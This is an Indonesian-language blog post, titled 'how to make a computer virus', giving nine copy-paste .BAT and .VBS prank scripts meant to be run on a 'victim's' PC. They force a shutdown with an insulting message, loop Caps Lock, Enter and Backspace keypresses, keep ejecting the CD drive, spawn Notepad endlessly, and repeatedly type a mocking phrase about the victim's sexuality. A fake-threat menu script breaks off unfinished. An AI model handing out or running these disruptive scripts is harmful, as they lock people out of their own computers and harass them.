CARA BUAT VIRUS KOMPUTER

1) memberi pesan dan shutdown komputer. Buka Notepad taip script dibawah ini dan Save As menggunakan Extension .BAT

Quote:
@echo off msg * Aku tidak suka kamu
shutdown -c “Error! Kamu jelek sekali” -s
2) Menyalakan butan Caps lock secara simultan.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:
Set wshShell =wscript.CreateObject(“WScript.Shell”) do
wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”
loop
3) Buka/tutup CD drive secara terus menerus.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:
Set oWMP = CreateObject(“WMPlayer.OCX.7″) Set colCDROMs = oWMP.cdromCollection
do

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
4) Tekan Enter secara simultan.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:
Set wshShell = wscript.CreateObject(“WScript.Shell”) do
wscript.sleep 100

wshshell.sendkeys “~(enter)”
loop
5) Mengetik pesan kita secara otomatis di notepad.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:
WScript.Sleep 180000 WScript.Sleep 10000

Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
6) Menjalankan BACKSPACE secara simultan.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:
MsgBox “Let’s go back a few steps” Set wshShell =wscript.CreateObject(“WScript.Shell”)

do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
7) Hack keyboard sehingga mangsa dipaksa mengetik “You are a gay” secara simultan.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS
Quote:
Set wshShell = wscript.CreateObject(“WScript.Shell”) do
wscript.sleep 100
wshshell.sendkeys “You are a gay”
loop
8) Buka Notepad secara terus menerus.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .BAT
Quote:
@ECHO off :top
START %SystemRoot%system32notepad.exe
GOTO top
9) Munculin 5 pilihan yang harus mangsa pilih.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .BAT
Quote:
@echo off title The end of the world
cd C:
:menu
cls
echo oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri…
pause
echo pilih nama cwe yang lu suka =P :
echo 1. datanya bakal ilang lho.
echo 2. komputer nya corrupt lho
echo 3. heheh no comment deh klo yang ini
echo 4. mau mati pake jalan ini?
echo 5. bye bye…
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

PESANAN : jangan melakukan pada orang yg tidak berdosa ye,, cuba d komputer sendiri ok laah... <idin

0 comments:

Post a Comment

Followers